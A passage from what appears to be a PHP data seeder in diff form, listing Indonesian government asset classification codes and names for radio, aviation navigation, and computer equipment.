'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '40', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT ANTENA TRANSCEIVER VHF STATIONARY', + ], + [ + 'id_aset' => 2828, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '40', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA VHF LAINNYA', + ], + [ + 'id_aset' => 2829, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '41', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA UHF', + ], + [ + 'id_aset' => 2830, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '41', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT ANTENA TRANSCEIVER UHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2831, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '41', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT ANTENA TRANSCEIVER UHF PORTABLE', + ], + [ + 'id_aset' => 2832, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '41', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT ANTENA TRANSCEIVER UHF STATIONARY', + ], + [ + 'id_aset' => 2833, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '41', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA UHF LAINNYA', + ], + [ + 'id_aset' => 2834, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '42', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA SHF', + ], + [ + 'id_aset' => 2835, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '42', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT ANTENA TRANSCEIVER SHF TRANSPORTABLE', + ], + [ + 'id_aset' => 2836, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '42', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT ANTENA TRANSCEIVER SHF PORTABLE', + ], + [ + 'id_aset' => 2837, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '42', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT ANTENA TRANSCEIVER SHF STATIONARY', + ], + [ + 'id_aset' => 2838, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '42', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ANTENA PEMANCAR DAN PENERIMA SHF LAINNYA', + ], + [ + 'id_aset' => 2839, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '43', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PENERIMA CUACA CITRA SATELITE RESOLUSI RENDAH', + ], + [ + 'id_aset' => 2840, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '43', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT PENERIMA SATELITE CUACA', + ], + [ + 'id_aset' => 2841, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '43', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PENERIMA CUACA CITRA SATELITE RESOLUSI RENDAH LAINNYA', + ], + [ + 'id_aset' => 2842, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '44', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PENERIMA CUACA CITRA SATELITE RESOLUSI TINGGI', + ], + [ + 'id_aset' => 2843, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '44', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT PENERIMA SATELITE CUACA GEO STASIMETER', + ], + [ + 'id_aset' => 2844, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '44', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT PENERIMA SATELITE CUACA ORBIT POLAR', + ], + [ + 'id_aset' => 2845, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '44', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PENERIMA CUACA CITRA SATELITE RESOLUSI TINGGI LAINNYA', + ], + [ + 'id_aset' => 2846, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '45', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PENERIMA DAN PENGIRIM GAMBAR KE PERMUKAAN', + ], + [ + 'id_aset' => 2847, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '45', + 'sub_sub_kelompok' => '001', + 'nama' => 'SCANNER FACSIMILE', + ], + [ + 'id_aset' => 2848, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '45', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALDEN MINIFAX RECORDER', + ], + [ + 'id_aset' => 2849, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '45', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIVERSAL GRAPHIC RECORDER', + ], + [ + 'id_aset' => 2850, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '45', + 'sub_sub_kelompok' => '004', + 'nama' => 'WEATHER CHART RECORDER', + ], + [ + 'id_aset' => 2851, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '45', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PENERIMA DAN PENGIRIM GAMBAR KE PERMUKAAN LAINNYA', + ], + [ + 'id_aset' => 2852, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '46', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PERLENGKAPAN RADIO', + ], + [ + 'id_aset' => 2853, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '46', + 'sub_sub_kelompok' => '001', + 'nama' => 'BOX BATTERY', + ], + [ + 'id_aset' => 2854, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '46', + 'sub_sub_kelompok' => '002', + 'nama' => 'CUTTON DUCK', + ], + [ + 'id_aset' => 2855, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '46', + 'sub_sub_kelompok' => '003', + 'nama' => 'CARRING CASE', + ], + [ + 'id_aset' => 2856, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '46', + 'sub_sub_kelompok' => '004', + 'nama' => 'HAND SET', + ], + [ + 'id_aset' => 2857, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '46', + 'sub_sub_kelompok' => '005', + 'nama' => 'CONECCTOR', + ], + [ + 'id_aset' => 2858, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '46', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PERLENGKAPAN RADIO LAINNYA', + ], + [ + 'id_aset' => 2859, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '47', + 'sub_sub_kelompok' => '000', + 'nama' => 'SUMBER TENAGA', + ], + [ + 'id_aset' => 2860, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '47', + 'sub_sub_kelompok' => '001', + 'nama' => 'BA-30', + ], + [ + 'id_aset' => 2861, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '47', + 'sub_sub_kelompok' => '002', + 'nama' => 'GENSET', + ], + [ + 'id_aset' => 2862, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '47', + 'sub_sub_kelompok' => '003', + 'nama' => 'SOLAR CELL', + ], + [ + 'id_aset' => 2863, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '47', + 'sub_sub_kelompok' => '004', + 'nama' => 'CHARGER', + ], + [ + 'id_aset' => 2864, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '47', + 'sub_sub_kelompok' => '999', + 'nama' => 'SUMBER TENAGA LAINNYA', + ], + [ + 'id_aset' => 2865, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PEMANCAR LAINNYA', + ], + [ + 'id_aset' => 2866, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PEMANCAR LAINNYA', + ], + [ + 'id_aset' => 2867, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN KOMUNIKASI NAVIGASI', + ], + [ + 'id_aset' => 2868, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN KOMUNIKASI NAVIGASI INSTRUMEN LANDING SYSTEM', + ], + [ + 'id_aset' => 2869, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'STANDARD INSTRUMEN LANDING SYSTEM', + ], + [ + 'id_aset' => 2870, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'MICROWAVE LANDING SYSTEM', + ], + [ + 'id_aset' => 2871, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN KOMUNIKASI NAVIGASI INSTRUMEN LANDING SYSTEM LAINNYA', + ], + [ + 'id_aset' => 2872, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'VERY HIGHT FREQUENCE OMNI RANGE (VOR)', + ], + [ + 'id_aset' => 2873, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'CONVENTIONAL VOR (CVOR)', + ], + [ + 'id_aset' => 2874, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'DOOPLE VOR (DVOR)', + ], + [ + 'id_aset' => 2875, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'VERY HIGHT FREQUENCE OMNI RANGE (VOR) LAINNYA', + ], + [ + 'id_aset' => 2876, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'DISTANCE MEASURING EQUIPMENT (DME)', + ], + [ + 'id_aset' => 2877, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSPONDER DME', + ], + [ + 'id_aset' => 2878, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'ANTENA DME', + ], + [ + 'id_aset' => 2879, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'BEACON', + ], + [ + 'id_aset' => 2880, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'NDB', + ], + [ + 'id_aset' => 2881, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'DB', + ], + [ + 'id_aset' => 2882, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'RADAR BEACON', + ], + [ + 'id_aset' => 2883, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'DIFFERENTIAL OMEGA (DISTANCE MEASURING EQUIPMENT (DME))', + ], + [ + 'id_aset' => 2884, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'DIFFERENTIAL GPS', + ], + [ + 'id_aset' => 2885, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'DISTANCE MEASURING EQUIPMENT (DME) LAINNYA', + ], + [ + 'id_aset' => 2886, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'RADAR', + ], + [ + 'id_aset' => 2887, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'PRIMARY SURVEILLANCE RADAR', + ], + [ + 'id_aset' => 2888, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SECONDARY SURVEILLANCE RADAR', + ], + [ + 'id_aset' => 2889, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'RADAR LAINNYA', + ], + [ + 'id_aset' => 2890, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGATUR TELEKOMUNIKASI', + ], + [ + 'id_aset' => 2891, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESSAGE SWITCHING CENTER (MSC)', + ], + [ + 'id_aset' => 2892, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'AUTOMATIC MESSAGE SWITCHING CENTER (AMSC)', + ], + [ + 'id_aset' => 2893, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'CURRENT CONSOLE REGULATOR', + ], + [ + 'id_aset' => 2894, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'CONTROLLER CONSOLE PVC', + ], + [ + 'id_aset' => 2895, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'NO BREAK CASINET', + ], + [ + 'id_aset' => 2896, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'TELEGRAPHIC FRAME', + ], + [ + 'id_aset' => 2897, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'MORDEN', + ], + [ + 'id_aset' => 2898, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'RADIO CONSOLE', + ], + [ + 'id_aset' => 2899, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'SUPERVISORI CONSOLE', + ], + [ + 'id_aset' => 2900, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGATUR TELEKOMUNIKASI LAINNYA', + ], + [ + 'id_aset' => 2901, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN KOMUNIKASI UNTUK DOKUMENTASI', + ], + [ + 'id_aset' => 2902, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT TAPE RECORDER', + ], + [ + 'id_aset' => 2903, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'UNIT TIME ANNOUNCING', + ], + [ + 'id_aset' => 2904, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'UNIT MASTER CLOCK', + ], + [ + 'id_aset' => 2905, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'UNIT REPRODUCER', + ], + [ + 'id_aset' => 2906, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'UNIT REMOTE CONTROL', + ], + [ + 'id_aset' => 2907, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN KOMUNIKASI UNTUK DOKUMENTASI LAINNYA', + ], + [ + 'id_aset' => 2908, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN KOMUNIKASI NAVIGASI LAINNYA', + ], + [ + 'id_aset' => 2909, + 'golongan' => '3', + 'bidang' => '06', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN KOMUNIKASI NAVIGASI LAINNYA', + ], + [ + 'id_aset' => 2910, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'KOMPUTER', + ], + [ + 'id_aset' => 2911, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'KOMPUTER UNIT', + ], + [ + 'id_aset' => 2912, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'KOMPUTER JARINGAN', + ], + [ + 'id_aset' => 2913, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'MAINFRAME (KOMPUTER JARINGAN)', + ], + [ + 'id_aset' => 2914, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'MINI KOMPUTER', + ], + [ + 'id_aset' => 2915, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'LOCAL AREA NETWORK (LAN)', + ], + [ + 'id_aset' => 2916, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'INTERNET', + ], + [ + 'id_aset' => 2917, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'KOMPUTER WEDIS', + ], + [ + 'id_aset' => 2918, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'KOMPUTER SYNERGIE', + ], + [ + 'id_aset' => 2919, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'PC WORKSTATION', + ], + [ + 'id_aset' => 2920, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'KOMPUTER JARINGAN LAINNYA', + ], + [ + 'id_aset' => 2921, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERSONAL KOMPUTER', + ], + [ + 'id_aset' => 2922, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'P.C UNIT', + ], + [ + 'id_aset' => 2923, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'LAP TOP', + ], + [ + 'id_aset' => 2924, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'NOTE BOOK', + ], + [ + 'id_aset' => 2925, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'PALM TOP', + ], + [ + 'id_aset' => 2926, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'CODE BREAKER SUPER KOMPUTER', + ], + [ + 'id_aset' => 2927, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'THINCLIENT', + ], + [ + 'id_aset' => 2928, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'NET BOOK', + ], + [ + 'id_aset' => 2929, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'ULTRA MOBILE P.C.', + ], + [ + 'id_aset' => 2930, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERSONAL KOMPUTER LAINNYA', + ], + [ + 'id_aset' => 2931, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'KOMPUTER UNIT LAINNYA', + ], + [ + 'id_aset' => 2932, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'KOMPUTER UNIT LAINNYA', + ], + [ + 'id_aset' => 2933, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN KOMPUTER', + ], + [ + 'id_aset' => 2934, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN MAINFRAME', + ], + [ + 'id_aset' => 2935, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'CARD READER (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2936, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'MAGNETIC TAPE UNIT (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2937, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'FLOPPY DISK UNIT (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2938, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'STORAGE MODUL DISK (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2939, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'CONSOLE UNIT (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2940, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'CPU (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2941, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'DISK PACK (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2942, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'HARD COPY CONSOLE', + ], + [ + 'id_aset' => 2943, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'SERIAL PRINTER', + ], + [ + 'id_aset' => 2944, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'LINE PRINTER', + ], + [ + 'id_aset' => 2945, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'PLOTTER (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2946, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'HARD DISK', + ], + [ + 'id_aset' => 2947, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'KEYBOARD (PERALATAN MAINFRAME)', + ], + [ + 'id_aset' => 2948, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'STEAMER', + ], + [ + 'id_aset' => 2949, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'DATA PATCH PANEL', + ], + [ + 'id_aset' => 2950, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '016', + 'nama' => 'PAPER TAPE READER', + ], + [ + 'id_aset' => 2951, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '017', + 'nama' => 'PANABOARD', + ], + [ + 'id_aset' => 2952, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN MAINFRAME LAINNYA', + ], + [ + 'id_aset' => 2953, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN MINI KOMPUTER', + ], + [ + 'id_aset' => 2954, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'CARD READER (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2955, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MAGNETIC TAPE UNIT (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2956, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'FLOPPY DISK UNIT (PERALATAN MINI KOMPUTER)', + ], + [ + 'id_aset' => 2957, + 'golongan' => '3', + 'bidang' => '07', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'STORAGE MODUL DISK (PERALATAN MINI 